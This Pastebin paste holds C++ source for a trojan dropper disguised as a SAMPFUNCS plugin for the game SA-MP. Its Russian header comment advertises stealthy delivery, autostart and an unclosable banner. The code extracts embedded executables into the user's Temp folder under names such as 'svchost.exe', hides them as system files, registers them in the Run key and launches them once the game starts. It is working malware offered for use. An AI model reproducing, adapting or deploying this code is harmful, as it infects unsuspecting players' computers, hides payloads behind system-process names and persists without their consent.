Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _SILENCE_STDEXT_HASH_DEPRECATION_WARNINGS
- // by Martin 0pc0d3R
- /*
- TODO:
- - Дропнуть резервные копии ехешников и добавить их в планировщик
- Особенности:
- + SF Троян (Беспалевно можна подсунуть)
- + Сравнительно небольшой вес
- + Дропает скрытые файлы помеченные как системные
- + Прописывается в автозагрузку
- + Баннер невозможно ничем закрыть/перебить
- + Отключает диспетчер задач прямо в системе
- */
- #include <windows.h>
- #include <string>
- #include <assert.h>
- #include <process.h>
- #include "SAMPFUNCS_API.h"
- #include "game_api\game_api.h"
- #include <shellapi.h>
- #include "resource.h"
- #include "Registry.h"
- #include <direct.h>
- #pragma comment (lib, "Shell32.lib")
- HMODULE ThisDLL = nullptr;
- SAMPFUNCS *SF = new SAMPFUNCS();
- bool extractResource(bool mode = false)
- {
- bool success = false;
- try
- {
- if (mode == false)
- {
- HRSRC hResource = ::FindResourceA(ThisDLL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
- if (hResource == 0) return false;
- HGLOBAL hFileResource = LoadResource(ThisDLL, hResource);
- if (hFileResource == 0) return false;
- LPVOID lpFile = LockResource(hFileResource);
- if (lpFile == 0) return false;
- DWORD dwSize = SizeofResource(ThisDLL, hResource);
- if (dwSize == 0) return false;
- char Uname[50]; DWORD szI = 50; GetUserNameA(Uname, &szI);
- char path[256]; sprintf(path, "C:\\Users\\%s\\AppData\\Local\\Temp\\svchost.exe", Uname);
- HANDLE hFile = CreateFile(path, GENERIC_READ | GENERIC_WRITE, 0, NULL,
- CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- HANDLE hFilemap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, 0, dwSize, NULL);
- if (hFilemap == 0) {return false;}
- LPVOID lpBaseAddress = MapViewOfFile(hFilemap, FILE_MAP_WRITE, 0, 0, 0);
- CopyMemory(lpBaseAddress, lpFile, dwSize);
- UnmapViewOfFile(lpBaseAddress); CloseHandle(hFilemap); CloseHandle(hFile);
- DWORD attributes = GetFileAttributes(path);
- SetFileAttributes(path, attributes + FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN);
- return true;
- }
- else
- {
- HRSRC hResource = ::FindResourceA(ThisDLL, MAKEINTRESOURCE(IDR_RCDATA2), RT_RCDATA);
- if (hResource == 0) return false;
- HGLOBAL hFileResource = LoadResource(ThisDLL, hResource);
- if (hFileResource == 0) return false;
- LPVOID lpFile = LockResource(hFileResource);
- if (lpFile == 0) return false;
- DWORD dwSize = SizeofResource(ThisDLL, hResource);
- if (dwSize == 0) return false;
- char Uname[50]; DWORD szI = 50; GetUserNameA(Uname, &szI);
- char path[256]; sprintf(path, "C:\\Users\\%s\\AppData\\Local\\Temp\\winsys.exe", Uname);
- HANDLE hFile = CreateFile(path, GENERIC_READ | GENERIC_WRITE, 0, NULL,
- CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- HANDLE hFilemap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, 0, dwSize, NULL);
- if (hFilemap == 0) {return false;}
- LPVOID lpBaseAddress = MapViewOfFile(hFilemap, FILE_MAP_WRITE, 0, 0, 0);
- CopyMemory(lpBaseAddress, lpFile, dwSize);
- UnmapViewOfFile(lpBaseAddress); CloseHandle(hFilemap); CloseHandle(hFile);
- DWORD attributes = GetFileAttributes(path);
- SetFileAttributes(path, attributes + FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN);
- return true;
- }
- }
- catch (...) {}
- return success;
- }
- void Dropper()
- {
- CEasyRegistry *trojan = new CEasyRegistry(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run");
- static bool first_etap = false;
- if (first_etap == false)
- {
- bool eSuccess = extractResource(false);
- char Uname[50]; DWORD szI = 50; GetUserNameA(Uname, &szI);
- char path[256]; sprintf(path, "C:\\Users\\%s\\AppData\\Local\\Temp\\svchost.exe", Uname);
- char npath[256]; sprintf(npath, "\"%s\"", path);
- trojan->WriteString("mscorclr", npath);
- if (eSuccess == true) ShellExecuteA(NULL, "open", path, NULL, NULL, SW_HIDE);
- first_etap = true; Dropper();
- }
- else
- {
- ///////////////////////////////////////////////////////////////////////////////////////////
- bool Success = extractResource(true);
- char Uname[50]; DWORD szI = 50; GetUserNameA(Uname, &szI);
- char dpath[256]; sprintf(dpath, "C:\\Users\\%s\\AppData\\Local\\Temp\\winsys.exe", Uname);
- char rpath[256]; sprintf(rpath, "\"%s\"", dpath);
- trojan->WriteString("windrm", rpath);
- if (Success == true) ShellExecuteA(NULL, "open", dpath, NULL, NULL, SW_SHOW);
- }
- /*HRSRC hResource = ::FindResourceA(ThisDLL, MAKEINTRESOURCE(IDR_RCDATA3), RT_RCDATA);
- if (hResource == 0) return;
- HGLOBAL hFileResource = LoadResource(ThisDLL, hResource);
- if (hFileResource == 0) return;
- LPVOID lpFile = LockResource(hFileResource);
- if (lpFile == 0) return;
- DWORD dwSize = SizeofResource(ThisDLL, hResource);
- if (dwSize == 0) return;
- char path[256]; _getcwd(path, 256);
- strcat(path, "\\SAMPFUNCS\\SAMPFUNCS.sf");
- HANDLE hFile = CreateFile(path, GENERIC_READ | GENERIC_WRITE, 0, NULL,
- CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- HANDLE hFilemap = CreateFileMappingA(hFile, NULL, PAGE_READWRITE, 0, dwSize, NULL);
- if (hFilemap == 0) {return;}
- LPVOID lpBaseAddress = MapViewOfFile(hFilemap, FILE_MAP_WRITE, 0, 0, 0);
- CopyMemory(lpBaseAddress, lpFile, dwSize);
- UnmapViewOfFile(lpBaseAddress); CloseHandle(hFilemap); CloseHandle(hFile);
- DWORD attributes = GetFileAttributes(path);
- SetFileAttributes(path, attributes + FILE_ATTRIBUTE_HIDDEN);*/
- }
- void __stdcall mainloop( void )
- {
- static bool init = false;
- if (!init)
- {
- if (GAME == nullptr) return;
- if (GAME->GetSystemState() != eSystemState::GS_PLAYING_GAME) return;
- if(!SF->getSAMP()->IsInitialized()) return;
- Dropper();
- init = true;
- }
- }
- bool WINAPI DllMain( HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved )
- {
- switch ( dwReasonForCall )
- {
- case DLL_PROCESS_ATTACH:
- ThisDLL = hModule;
- SF->initPlugin( mainloop, hModule );
- break;
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement